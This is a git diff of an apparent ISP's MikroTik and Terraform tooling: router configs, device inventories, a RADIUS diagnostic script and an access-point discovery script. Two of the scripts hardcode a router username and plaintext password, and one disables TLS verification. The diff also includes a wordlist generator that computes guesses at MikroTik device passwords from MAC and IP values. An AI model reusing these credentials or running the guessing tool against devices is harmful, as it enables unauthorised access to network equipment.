"name": "vlan_30_clayton",
|
||||||
|
"type": "vlan",
|
||||||
|
"mac": "64:D1:54:D3:E1:53",
|
||||||
|
"comment": "",
|
||||||
|
"mtu": 1500
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"vlans": [
|
||||||
|
{
|
||||||
|
"name": "vlan10_ether2",
|
||||||
|
"vlan_id": 10,
|
||||||
|
"interface": "ether2-netonix"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "vlan100_netonix8",
|
||||||
|
"vlan_id": 100,
|
||||||
|
"interface": "ether2-netonix"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "vlan101_netonix9",
|
||||||
|
"vlan_id": 101,
|
||||||
|
"interface": "ether2-netonix"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "vlan102_netonix10",
|
||||||
|
"vlan_id": 102,
|
||||||
|
"interface": "ether2-netonix"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "vlan103_netonix13",
|
||||||
|
"vlan_id": 103,
|
||||||
|
"interface": "ether2-netonix"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "vlan104_netonix14",
|
||||||
|
"vlan_id": 104,
|
||||||
|
"interface": "ether2-netonix"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"name": "vlan_30_clayton",
|
||||||
|
"vlan_id": 30,
|
||||||
|
"interface": "ether2-netonix"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"pppoe_servers": [
|
||||||
|
{
|
||||||
|
"service_name": "culleoka",
|
||||||
|
"interface": "ether2-netonix"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"service_name": "clayton",
|
||||||
|
"interface": "vlan_30_clayton"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"service_name": "jeff-tv",
|
||||||
|
"interface": "ether5-jeff-tv"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"service_name": "service1",
|
||||||
|
"interface": "vlan100_netonix8"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"service_name": "service2",
|
||||||
|
"interface": "vlan101_netonix9"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"service_name": "service3",
|
||||||
|
"interface": "vlan102_netonix10"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"service_name": "service4",
|
||||||
|
"interface": "vlan103_netonix13"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"service_name": "service5",
|
||||||
|
"interface": "vlan104_netonix14"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"routes": []
|
||||||
|
}
|
||||||
98
culleoka_hosts.tf
Normal file
98
culleoka_hosts.tf
Normal file
|
|
@ -0,0 +1,98 @@
|
||||||
|
resource "towerops_device" "culleoka_sw_ac_1" {
|
||||||
|
site_id = towerops_site.culleoka.id
|
||||||
|
name = "Culleoka SW AC-1"
|
||||||
|
ip_address = "10.10.111.1"
|
||||||
|
snmp_version = "1"
|
||||||
|
}
|
||||||
|
|
||||||
|
resource "towerops_device" "culleoka_sw_ac2" {
|
||||||
|
site_id = towerops_site.culleoka.id
|
||||||
|
name = "Culleoka SW AC2"
|
||||||
|
ip_address = "10.10.111.2"
|
||||||
|
snmp_version = "1"
|
||||||
|
}
|
||||||
|
|
||||||
|
resource "towerops_device" "culleoka_se" {
|
||||||
|
site_id = towerops_site.culleoka.id
|
||||||
|
name = "Culleoka SE"
|
||||||
|
ip_address = "10.10.111.11"
|
||||||
|
snmp_version = "1"
|
||||||
|
}
|
||||||
|
|
||||||
|
resource "towerops_device" "culleoka_sw_120" {
|
||||||
|
site_id = towerops_site.culleoka.id
|
||||||
|
name = "Culleoka sw 120"
|
||||||
|
ip_address = "10.10.111.12"
|
||||||
|
snmp_version = "1"
|
||||||
|
}
|
||||||
|
|
||||||
|
resource "towerops_device" "culleoka_north_ubnt" {
|
||||||
|
site_id = towerops_site.culleoka.id
|
||||||
|
name = "Culleoka North UBNT"
|
||||||
|
ip_address = "10.10.111.14"
|
||||||
|
snmp_version = "1"
|
||||||
|
}
|
||||||
|
|
||||||
|
resource "towerops_device" "culleoka_epmp_n" {
|
||||||
|
site_id = towerops_site.culleoka.id
|
||||||
|
name = "culleoka epmp N"
|
||||||
|
ip_address = "10.10.111.30"
|
||||||
|
snmp_version = "1"
|
||||||
|
}
|
||||||
|
|
||||||
|
resource "towerops_device" "culleoka_epmp_se" {
|
||||||
|
site_id = towerops_site.culleoka.id
|
||||||
|
name = "Culleoka ePMP SE"
|
||||||
|
ip_address = "10.10.111.31"
|
||||||
|
snmp_version = "1"
|
||||||
|
}
|
||||||
|
|
||||||
|
resource "towerops_device" "culleoka_epmp_sw" {
|
||||||
|
site_id = towerops_site.culleoka.id
|
||||||
|
name = "Culleoka ePMP SW"
|
||||||
|
ip_address = "10.10.111.32"
|
||||||
|
snmp_version = "1"
|
||||||
|
}
|
||||||
|
|
||||||
|
resource "towerops_device" "culleoka_ne" {
|
||||||
|
site_id = towerops_site.culleoka.id
|
||||||
|
name = "Culleoka NE"
|
||||||
|
ip_address = "10.10.111.33"
|
||||||
|
snmp_version = "1"
|
||||||
|
}
|
||||||
|
|
||||||
|
resource "towerops_device" "culleoka_epmp_se_34" {
|
||||||
|
site_id = towerops_site.culleoka.id
|
||||||
|
name = "Culleoka ePMP SE"
|
||||||
|
ip_address = "10.10.111.34"
|
||||||
|
snmp_version = "1"
|
||||||
|
}
|
||||||
|
|
||||||
|
resource "towerops_device" "culleoka_epmp_nw" {
|
||||||
|
site_id = towerops_site.culleoka.id
|
||||||
|
name = "Culleoka ePMP NW"
|
||||||
|
ip_address = "10.10.111.35"
|
||||||
|
snmp_version = "1"
|
||||||
|
}
|
||||||
|
|
||||||
|
resource "towerops_device" "clayton_estates_ap" {
|
||||||
|
site_id = towerops_site.culleoka.id
|
||||||
|
name = "Clayton Estates AP"
|
||||||
|
ip_address = "10.10.111.50"
|
||||||
|
snmp_version = "1"
|
||||||
|
}
|
||||||
|
|
||||||
|
resource "towerops_device" "clayton_to_culleoka" {
|
||||||
|
site_id = towerops_site.culleoka.id
|
||||||
|
name = "clayton to culleoka"
|
||||||
|
ip_address = "10.10.111.60"
|
||||||
|
snmp_version = "1"
|
||||||
|
}
|
||||||
|
|
||||||
|
resource "towerops_device" "culleoka_to_clayton" {
|
||||||
|
site_id = towerops_site.culleoka.id
|
||||||
|
name = "culleoka to clayton"
|
||||||
|
ip_address = "10.10.111.61"
|
||||||
|
snmp_version = "1"
|
||||||
|
}
|
||||||
|
|
||||||
1334
culleoka_router_data.json
Normal file
1334
culleoka_router_data.json
Normal file
File diff suppressed because it is too large
Load diff
83
diagnose_verona_radius.py
Normal file
83
diagnose_verona_radius.py
Normal file
|
|
@ -0,0 +1,83 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
"""Diagnose RADIUS auth failure on Verona router after RouterOS upgrade."""
|
||||||
|
|
||||||
|
import sys
|
||||||
|
from mikrotik_connect import MikrotikAPI
|
||||||
|
|
||||||
|
|
||||||
|
def section(title):
|
||||||
|
print(f"\n{'=' * 70}\n=== {title}\n{'=' * 70}")
|
||||||
|
|
||||||
|
|
||||||
|
def dump(results):
|
||||||
|
if not results:
|
||||||
|
print("(no results)")
|
||||||
|
return
|
||||||
|
for r in results:
|
||||||
|
for k, v in r.items():
|
||||||
|
print(f" {k}: {v}")
|
||||||
|
print("---")
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
api = MikrotikAPI("10.254.254.101", "grahamro",
|
||||||
|
"cFKhz8q5gPLoucMbcT1Iy58r3IXgc3")
|
||||||
|
if not api.connect():
|
||||||
|
sys.exit(1)
|
||||||
|
if not api.login():
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
try:
|
||||||
|
section("RouterOS version / identity")
|
||||||
|
dump(api.command("/system/resource/print"))
|
||||||
|
dump(api.command("/system/routerboard/print"))
|
||||||
|
dump(api.command("/system/identity/print"))
|
||||||
|
|
||||||
|
section("RADIUS clients (/radius print detail)")
|
||||||
|
dump(api.command("/radius/print"))
|
||||||
|
|
||||||
|
section("RADIUS incoming settings")
|
||||||
|
dump(api.command("/radius/incoming/print"))
|
||||||
|
|
||||||
|
section("AAA settings for user logins (/user aaa print)")
|
||||||
|
dump(api.command("/user/aaa/print"))
|
||||||
|
|
||||||
|
section("PPP AAA settings (/ppp aaa print)")
|
||||||
|
dump(api.command("/ppp/aaa/print"))
|
||||||
|
|
||||||
|
section("PPP profiles (may reference radius)")
|
||||||
|
dump(api.command("/ppp/profile/print"))
|
||||||
|
|
||||||
|
section("PPP secrets count")
|
||||||
|
secrets = api.command("/ppp/secret/print", ["=count-only="])
|
||||||
|
print(secrets)
|
||||||
|
|
||||||
|
section("Active PPP sessions")
|
||||||
|
dump(api.command("/ppp/active/print"))
|
||||||
|
|
||||||
|
section("Hotspot servers (if any)")
|
||||||
|
dump(api.command("/ip/hotspot/print"))
|
||||||
|
|
||||||
|
section("Recent log messages (last 200)")
|
||||||
|
logs = api.command("/log/print")
|
||||||
|
# Show only most recent 200 and filter those with radius / auth / ppp
|
||||||
|
for entry in logs[-200:]:
|
||||||
|
msg = entry.get("message", "")
|
||||||
|
topics = entry.get("topics", "")
|
||||||
|
time = entry.get("time", "")
|
||||||
|
if any(k in (msg + topics).lower() for k in
|
||||||
|
["radius", "auth", "ppp", "login", "fail", "reject"]):
|
||||||
|
print(f"[{time}] {topics}: {msg}")
|
||||||
|
|
||||||
|
section("Certificates (RADIUS over TLS / EAP may need these)")
|
||||||
|
dump(api.command("/certificate/print"))
|
||||||
|
|
||||||
|
section("IP services (enabled management services)")
|
||||||
|
dump(api.command("/ip/service/print"))
|
||||||
|
|
||||||
|
finally:
|
||||||
|
api.disconnect()
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
228
generate_mikrotik_wordlist.py
Normal file
228
generate_mikrotik_wordlist.py
Normal file
|
|
@ -0,0 +1,228 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
Generate comprehensive MikroTik password wordlist
|
||||||
|
Creates likely passwords based on common patterns, algorithms, and variations
|
||||||
|
"""
|
||||||
|
|
||||||
|
import itertools
|
||||||
|
import string
|
||||||
|
import binascii
|
||||||
|
|
||||||
|
def generate_mac_based_passwords(mac_address):
|
||||||
|
"""Generate passwords based on MAC address using various known algorithms"""
|
||||||
|
passwords = []
|
||||||
|
|
||||||
|
# Parse MAC address
|
||||||
|
mac_parts = mac_address.upper().replace(':', '').replace('-', '')
|
||||||
|
if len(mac_parts) != 12:
|
||||||
|
return passwords
|
||||||
|
|
||||||
|
mac_bytes = [int(mac_parts[i:i+2], 16) for i in range(0, 12, 2)]
|
||||||
|
|
||||||
|
# Algorithm 1: Standard MikroTik (0xD0, 0xFF constants)
|
||||||
|
pwd_bytes = [
|
||||||
|
mac_bytes[0] ^ 0xD0,
|
||||||
|
mac_bytes[1],
|
||||||
|
(~mac_bytes[2]) & 0xFF,
|
||||||
|
0xFF
|
||||||
|
]
|
||||||
|
hex_str = ''.join(f'{b:02x}' for b in pwd_bytes)
|
||||||
|
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
|
||||||
|
|
||||||
|
# Algorithm 2: Try different constants instead of 0xD0
|
||||||
|
for const1 in [0xD0, 0xC0, 0xE0, 0xF0, 0x80, 0x90, 0xA0, 0xB0]:
|
||||||
|
pwd_bytes = [
|
||||||
|
mac_bytes[0] ^ const1,
|
||||||
|
mac_bytes[1],
|
||||||
|
(~mac_bytes[2]) & 0xFF,
|
||||||
|
0xFF
|
||||||
|
]
|
||||||
|
hex_str = ''.join(f'{b:02x}' for b in pwd_bytes)
|
||||||
|
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
|
||||||
|
|
||||||
|
# Algorithm 3: Try different constants instead of 0xFF
|
||||||
|
for const2 in [0xFF, 0xFE, 0xFD, 0xFC, 0x00, 0x01, 0x02, 0x03]:
|
||||||
|
pwd_bytes = [
|
||||||
|
mac_bytes[0] ^ 0xD0,
|
||||||
|
mac_bytes[1],
|
||||||
|
(~mac_bytes[2]) & 0xFF,
|
||||||
|
const2
|
||||||
|
]
|
||||||
|
hex_str = ''.join(f'{b:02x}' for b in pwd_bytes)
|
||||||
|
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
|
||||||
|
|
||||||
|
# Algorithm 4: Different MAC byte positions
|
||||||
|
for i in range(6):
|
||||||
|
for j in range(6):
|
||||||
|
for k in range(6):
|
||||||
|
if i != j and j != k and i != k:
|
||||||
|
pwd_bytes = [
|
||||||
|
mac_bytes[i] ^ 0xD0,
|
||||||
|
mac_bytes[j],
|
||||||
|
(~mac_bytes[k]) & 0xFF,
|
||||||
|
0xFF
|
||||||
|
]
|
||||||
|
hex_str = ''.join(f'{b:02x}' for b in pwd_bytes)
|
||||||
|
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
|
||||||
|
|
||||||
|
# Algorithm 5: Use MAC bytes directly (no XOR or NOT)
|
||||||
|
for combo in itertools.permutations(mac_bytes[:4]):
|
||||||
|
hex_str = ''.join(f'{b:02x}' for b in combo)
|
||||||
|
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
|
||||||
|
|
||||||
|
# Algorithm 6: Simple MAC transformations
|
||||||
|
# Last 4 bytes of MAC
|
||||||
|
hex_str = ''.join(f'{b:02x}' for b in mac_bytes[2:6])
|
||||||
|
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
|
||||||
|
|
||||||
|
# First 4 bytes of MAC
|
||||||
|
hex_str = ''.join(f'{b:02x}' for b in mac_bytes[0:4])
|
||||||
|
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
|
||||||
|
|
||||||
|
return passwords
|
||||||
|
|
||||||
|
def generate_common_patterns():
|
||||||
|
"""Generate common password patterns"""
|
||||||
|
passwords = []
|
||||||
|
|
||||||
|
# Common numeric patterns
|
||||||
|
patterns = [
|
||||||
|
"0000-0000", "1111-1111", "2222-2222", "3333-3333",
|
||||||
|
"1234-5678", "8765-4321", "0123-4567", "1357-2468",
|
||||||
|
"aaaa-aaaa", "bbbb-bbbb", "cccc-cccc", "dddd-dddd",
|
||||||
|
"ffff-ffff", "dead-beef", "cafe-babe", "feed-face",
|
||||||
|
"0000-0001", "0001-0000", "ffff-0000", "0000-ffff",
|
||||||
|
]
|
||||||
|
|
||||||
|
# Year-based patterns (common installation years)
|
||||||
|
for year in range(2015, 2025):
|
||||||
|
passwords.extend([
|
||||||
|
f"{year}-{year}",
|
||||||
|
f"0000-{year}",
|
||||||
|
f"{year}-0000",
|
||||||
|
f"{year}-1234",
|
||||||
|
f"1234-{year}",
|
||||||
|
])
|
||||||
|
|
||||||
|
# Sequential numbers
|
||||||
|
for i in range(0, 10000, 1111):
|
||||||
|
hex_val = f"{i:04x}"
|
||||||
|
passwords.append(f"{hex_val}-{hex_val}")
|
||||||
|
|
||||||
|
# Common hex patterns
|
||||||
|
hex_patterns = [
|
||||||
|
"abcd-efab", "1a2b-3c4d", "a1b2-c3d4",
|
||||||
|
"0a0b-0c0d", "f0f0-f0f0", "0f0f-0f0f",
|
||||||
|
]
|
||||||
|
passwords.extend(hex_patterns)
|
||||||
|
|
||||||
|
return patterns + passwords
|
||||||
|
|
||||||
|
def generate_device_specific_patterns():
|
||||||
|
"""Generate patterns specific to this device's MAC and IP"""
|
||||||
|
passwords = []
|
||||||
|
|
||||||
|
# Based on MAC B8:69:F4:12:8E:F8
|
||||||
|
mac_parts = ["b8", "69", "f4", "12", "8e", "f8"]
|
||||||
|
|
||||||
|
# Use parts of MAC in different combinations
|
||||||
|
for i in range(len(mac_parts)-1):
|
||||||
|
passwords.append(f"{mac_parts[i]}{mac_parts[i+1]}-{mac_parts[(i+2)%6]}{mac_parts[(i+3)%6]}")
|
||||||
|
|
||||||
|
# Based on IP 10.250.2.2
|
||||||
|
ip_hex = f"{10:02x}{250:02x}{2:02x}{2:02x}" # 0afa0202
|
||||||
|
passwords.extend([
|
||||||
|
f"{ip_hex[:4]}-{ip_hex[4:]}",
|
||||||
|
f"0afa-0202",
|
||||||
|
f"250a-0202", # Different byte order
|
||||||
|
f"0a02-fa02",
|
||||||
|
])
|
||||||
|
|
||||||
|
# Network-specific patterns (250.2 subnet)
|
||||||
|
passwords.extend([
|
||||||
|
"fa02-fa02", # 250.2 in hex
|
||||||
|
"0250-0002", # Decimal to hex
|
||||||
|
"f802-f802", # 248.2 (common network)
|
||||||
|
"0100-0100", # 1.1 network
|
||||||
|
])
|
||||||
|
|
||||||
|
return passwords
|
||||||
|
|
||||||
|
def generate_incremental_patterns():
|
||||||
|
"""Generate incremental/sequential patterns around likely values"""
|
||||||
|
passwords = []
|
||||||
|
|
||||||
|
# Around the calculated MAC-based password
|
||||||
|
base_pwd = "6869-0bff" # From the algorithm result
|
||||||
|
base_int = int(base_pwd.replace('-', ''), 16)
|
||||||
|
|
||||||
|
# Try values around the calculated one
|
||||||
|
for offset in range(-1000, 1001):
|
||||||
|
try:
|
||||||
|
new_val = base_int + offset
|
||||||
|
if 0 <= new_val <= 0xFFFFFFFF:
|
||||||
|
hex_str = f"{new_val:08x}"
|
||||||
|
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
|
||||||
|
except:
|
||||||
|
continue
|
||||||
|
|
||||||
|
return passwords
|
||||||
|
|
||||||
|
def main():
|
||||||
|
mac_address = "B8:69:F4:12:8E:F8"
|
||||||
|
|
||||||
|
print("Generating comprehensive MikroTik password wordlist...")
|
||||||
|
|
||||||
|
all_passwords = set() # Use set to avoid duplicates
|
||||||
|
|
||||||
|
print("1. MAC-based algorithm variations...")
|
||||||
|
mac_passwords = generate_mac_based_passwords(mac_address)
|
||||||
|
all_passwords.update(mac_passwords)
|
||||||
|
print(f" Generated {len(mac_passwords)} MAC-based passwords")
|
||||||
|
|
||||||
|
print("2. Common patterns...")
|
||||||
|
common_passwords = generate_common_patterns()
|
||||||
|
all_passwords.update(common_passwords)
|
||||||
|
print(f" Generated {len(common_passwords)} common pattern passwords")
|
||||||
|
|
||||||
|
print("3. Device-specific patterns...")
|
||||||
|
device_passwords = generate_device_specific_patterns()
|
||||||
|
all_passwords.update(device_passwords)
|
||||||
|
print(f" Generated {len(device_passwords)} device-specific passwords")
|
||||||
|
|
||||||
|
print("4. Incremental patterns...")
|
||||||
|
incremental_passwords = generate_incremental_patterns()
|
||||||
|
all_passwords.update(incremental_passwords)
|
||||||
|
print(f" Generated {len(incremental_passwords)} incremental passwords")
|
||||||
|
|
||||||
|
# Remove any invalid passwords and convert to sorted list
|
||||||
|
valid_passwords = []
|
||||||
|
for pwd in all_passwords:
|
||||||
|
if len(pwd) == 9 and pwd[4] == '-':
|
||||||
|
try:
|
||||||
|
# Validate it's proper hex
|
||||||
|
int(pwd.replace('-', ''), 16)
|
||||||
|
valid_passwords.append(pwd)
|
||||||
|
except ValueError:
|
||||||
|
continue
|
||||||
|
|
||||||
|
valid_passwords.sort()
|
||||||
|
|
||||||
|
# Write to file
|
||||||
|
with open('mikrotik_wordlist.txt', 'w') as f:
|
||||||
|
for pwd in valid_passwords:
|
||||||
|
f.write(pwd + '\n')
|
||||||
|
|
||||||
|
print(f"\nTotal unique valid passwords: {len(valid_passwords)}")
|
||||||
|
print("Wordlist saved to: mikrotik_wordlist.txt")
|
||||||
|
|
||||||
|
# Show first 20 passwords as preview
|
||||||
|
print("\nFirst 20 passwords in wordlist:")
|
||||||
|
for i, pwd in enumerate(valid_passwords[:20]):
|
||||||
|
print(f" {i+1:2d}: {pwd}")
|
||||||
|
|
||||||
|
if len(valid_passwords) > 20:
|
||||||
|
print(f" ... and {len(valid_passwords) - 20} more")
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
64
generate_terraform.py
Executable file
64
generate_terraform.py
Executable file
|
|
@ -0,0 +1,64 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
import re
|
||||||
|
import sys
|
||||||
|
|
||||||
|
def sanitize_resource_name(name):
|
||||||
|
"""Convert system name to valid Terraform resource identifier."""
|
||||||
|
# Remove trailing spaces and convert to lowercase
|
||||||
|
name = name.strip().lower()
|
||||||
|
# Replace spaces and special chars with underscores
|
||||||
|
name = re.sub(r'[^a-z0-9_]', '_', name)
|
||||||
|
# Remove consecutive underscores
|
||||||
|
name = re.sub(r'_+', '_', name)
|
||||||
|
# Remove leading/trailing underscores
|
||||||
|
name = name.strip('_')
|
||||||
|
# Prefix with 'device_' if it starts with a number
|
||||||
|
if name and name[0].isdigit():
|
||||||
|
name = 'device_' + name
|
||||||
|
return name
|
||||||
|
|
||||||
|
if len(sys.argv) < 3:
|
||||||
|
print("Usage: ./generate_terraform.py <input_file> <site_name>")
|
||||||
|
print("Example: ./generate_terraform.py new_hope_results.txt new_hope")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
input_file = sys.argv[1]
|
||||||
|
site_name = sys.argv[2]
|
||||||
|
output_file = f"{site_name}_hosts.tf"
|
||||||
|
|
||||||
|
# Read SNMP results
|
||||||
|
with open(input_file, 'r') as f:
|
||||||
|
devices = []
|
||||||
|
for line in f:
|
||||||
|
ip, sysname = line.strip().split('|')
|
||||||
|
if sysname != 'UNKNOWN':
|
||||||
|
resource_name = sanitize_resource_name(sysname)
|
||||||
|
devices.append({
|
||||||
|
'ip': ip,
|
||||||
|
'name': sysname.strip(),
|
||||||
|
'resource_name': resource_name
|
||||||
|
})
|
||||||
|
|
||||||
|
# Handle duplicate resource names by appending IP last octet
|
||||||
|
seen_names = {}
|
||||||
|
for device in devices:
|
||||||
|
original_name = device['resource_name']
|
||||||
|
if original_name in seen_names:
|
||||||
|
# Append the last octet of the IP to make it unique
|
||||||
|
last_octet = device['ip'].split('.')[-1]
|
||||||
|
device['resource_name'] = f"{original_name}_{last_octet}"
|
||||||
|
else:
|
||||||
|
seen_names[original_name] = True
|
||||||
|
|
||||||
|
# Generate Terraform file
|
||||||
|
with open(output_file, 'w') as f:
|
||||||
|
for device in devices:
|
||||||
|
f.write(f'resource "towerops_device" "{device["resource_name"]}" {{\n')
|
||||||
|
f.write(f' site_id = towerops_site.{site_name}.id\n')
|
||||||
|
f.write(f' name = "{device["name"]}"\n')
|
||||||
|
f.write(f' ip_address = "{device["ip"]}"\n')
|
||||||
|
f.write(f' snmp_version = "1"\n')
|
||||||
|
f.write(f'}}\n\n')
|
||||||
|
|
||||||
|
print(f"Generated {output_file} with {len(devices)} devices")
|
||||||
205
get_access_points.py
Normal file
205
get_access_points.py
Normal file
|
|
@ -0,0 +1,205 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
Get access points from a MikroTik router by checking DHCP leases and ARP table
|
||||||
|
"""
|
||||||
|
import ssl
|
||||||
|
import sys
|
||||||
|
import json
|
||||||
|
import argparse
|
||||||
|
|
||||||
|
try:
|
||||||
|
from librouteros import connect
|
||||||
|
except ImportError:
|
||||||
|
print("Error: librouteros module not found")
|
||||||
|
print("Install with: pip install librouteros")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
def connect_to_router(ip, username, password, use_ssl=True):
|
||||||
|
"""Connect to MikroTik router"""
|
||||||
|
port = 8729 if use_ssl else 8728
|
||||||
|
try:
|
||||||
|
if use_ssl:
|
||||||
|
# SSL context for secure connection
|
||||||
|
ctx = ssl.create_default_context()
|
||||||
|
ctx.check_hostname = False
|
||||||
|
ctx.verify_mode = ssl.CERT_NONE
|
||||||
|
|
||||||
|
api = connect(
|
||||||
|
username=username,
|
||||||
|
password=password,
|
||||||
|
host=ip,
|
||||||
|
port=port,
|
||||||
|
ssl_wrapper=ctx.wrap_socket
|
||||||
|
)
|
||||||
|
else:
|
||||||
|
api = connect(
|
||||||
|
username=username,
|
||||||
|
password=password,
|
||||||
|
host=ip,
|
||||||
|
port=port
|
||||||
|
)
|
||||||
|
|
||||||
|
print(f"✓ Connected to {ip}")
|
||||||
|
return api
|
||||||
|
except Exception as e:
|
||||||
|
print(f"✗ Connection failed: {e}")
|
||||||
|
return None
|
||||||
|
|
||||||
|
def get_dhcp_leases(api):
|
||||||
|
"""Get DHCP leases from the router"""
|
||||||
|
try:
|
||||||
|
leases = list(api.path('/ip/dhcp-server/lease'))
|
||||||
|
return leases
|
||||||
|
except Exception as e:
|
||||||
|
print(f"Error getting DHCP leases: {e}")
|
||||||
|
return []
|
||||||
|
|
||||||
|
def get_arp_table(api):
|
||||||
|
"""Get ARP table from the router"""
|
||||||
|
try:
|
||||||
|
arp_entries = list(api.path('/ip/arp'))
|
||||||
|
return arp_entries
|
||||||
|
except Exception as e:
|
||||||
|
print(f"Error getting ARP table: {e}")
|
||||||
|
return []
|
||||||
|
|
||||||
|
def get_capsman_registrations(api):
|
||||||
|
"""Get Capsman registration table if available"""
|
||||||
|
try:
|
||||||
|
registrations = list(api.path('/caps-man/registration-table'))
|
||||||
|
return registrations
|
||||||
|
except Exception as e:
|
||||||
|
# Capsman might not be configured
|
||||||
|
return []
|
||||||
|
|
||||||
|
def is_likely_ap(hostname, mac, comment):
|
||||||
|
"""Determine if a device is likely an access point based on hostname/MAC/comment"""
|
||||||
|
if not hostname:
|
||||||
|
hostname = ""
|
||||||
|
if not comment:
|
||||||
|
comment = ""
|
||||||
|
|
||||||
|
hostname_lower = hostname.lower()
|
||||||
|
comment_lower = comment.lower()
|
||||||
|
|
||||||
|
# Common AP identifiers
|
||||||
|
ap_indicators = ['ap', 'access', 'ubiquiti', 'unifi', 'mikrotik', 'routerboard',
|
||||||
|
'airmax', 'litebeam', 'nanostation', 'powerbeam', 'rocket',
|
||||||
|
'hap', 'cap', 'sxt', 'lhg', 'wap']
|
||||||
|
|
||||||
|
for indicator in ap_indicators:
|
||||||
|
if indicator in hostname_lower or indicator in comment_lower:
|
||||||
|
return True
|
||||||
|
|
||||||
|
# Check for Ubiquiti MAC prefix (common for APs)
|
||||||
|
if mac and mac.upper().startswith(('04:18:D6', 'F0:9F:C2', '24:A4:3C', '68:72:51', '80:2A:A8', 'FC:EC:DA')):
|
||||||
|
return True
|
||||||
|
|
||||||
|
# Check for MikroTik MAC prefix
|
||||||
|
if mac and mac.upper().startswith(('00:0C:42', '4C:5E:0C', '6C:3B:6B', 'D4:CA:6D', 'E4:8D:8C', 'DC:2C:6E', 'B8:69:F4', '48:8F:5A')):
|
||||||
|
return True
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
def main():
|
||||||
|
parser = argparse.ArgumentParser(description='Get access points from MikroTik router')
|
||||||
|
parser.add_argument('router_ip', help='Router IP address')
|
||||||
|
parser.add_argument('-u', '--username', default='grahamro', help='Username (default: grahamro)')
|
||||||
|
parser.add_argument('-p', '--password', default='cFKhz8q5gPLoucMbcT1Iy58r3IXgc3', help='Password')
|
||||||
|
parser.add_argument('-o', '--output', help='Output file (JSON)')
|
||||||
|
parser.add_argument('--no-ssl', action='store_true', help='Use plain API instead of API-SSL')
|
||||||
|
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
# Connect to router
|
||||||
|
api = connect_to_router(args.router_ip, args.username, args.password, not args.no_ssl)
|
||||||
|
if not api:
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
print("\n=== Retrieving Access Point Information ===\n")
|
||||||
|
|
||||||
|
# Get data from router
|
||||||
|
dhcp_leases = get_dhcp_leases(api)
|
||||||
|
arp_table = get_arp_table(api)
|
||||||
|
capsman_regs = get_capsman_registrations(api)
|
||||||
|
|
||||||
|
access_points = []
|
||||||
|
|
||||||
|
# Check Capsman registrations first (most reliable for APs)
|
||||||
|
if capsman_regs:
|
||||||
|
print("=== Capsman Registered Access Points ===")
|
||||||
|
for reg in capsman_regs:
|
||||||
|
ap_info = {
|
||||||
|
'name': reg.get('interface', 'Unknown'),
|
||||||
|
'mac': reg.get('mac-address', ''),
|
||||||
|
'ip': reg.get('address', ''),
|
||||||
|
'source': 'capsman',
|
||||||
|
'interface': reg.get('interface', ''),
|
||||||
|
'rx_signal': reg.get('rx-signal', '')
|
||||||
|
}
|
||||||
|
access_points.append(ap_info)
|
||||||
|
print(f" {ap_info['name']}: {ap_info['ip']} ({ap_info['mac']})")
|
||||||
|
|
||||||
|
# Process DHCP leases
|
||||||
|
print("\n=== DHCP Leases (Potential Access Points) ===")
|
||||||
|
for lease in dhcp_leases:
|
||||||
|
hostname = lease.get('host-name', '')
|
||||||
|
mac = lease.get('mac-address', '')
|
||||||
|
ip = lease.get('address', '')
|
||||||
|
comment = lease.get('comment', '')
|
||||||
|
|
||||||
|
if is_likely_ap(hostname, mac, comment):
|
||||||
|
ap_info = {
|
||||||
|
'name': hostname or comment or mac,
|
||||||
|
'ip': ip,
|
||||||
|
'mac': mac,
|
||||||
|
'source': 'dhcp',
|
||||||
|
'comment': comment
|
||||||
|
}
|
||||||
|
|
||||||
|
# Check if already in list (from capsman)
|
||||||
|
if not any(ap['mac'] == mac for ap in access_points):
|
||||||
|
access_points.append(ap_info)
|
||||||
|
print(f" {ap_info['name']}: {ip} ({mac})")
|
||||||
|
if comment:
|
||||||
|
print(f" Comment: {comment}")
|
||||||
|
|
||||||
|
# Check ARP table for any we might have missed
|
||||||
|
print("\n=== ARP Table (Additional Devices) ===")
|
||||||
|
for arp in arp_table:
|
||||||
|
hostname = arp.get('interface', '')
|
||||||
|
mac = arp.get('mac-address', '')
|
||||||
|
ip = arp.get('address', '')
|
||||||
|
|
||||||
|
if is_likely_ap(hostname, mac, ''):
|
||||||
|
# Check if already in list
|
||||||
|
if not any(ap['mac'] == mac for ap in access_points):
|
||||||
|
ap_info = {
|
||||||
|
'name': hostname or mac,
|
||||||
|
'ip': ip,
|
||||||
|
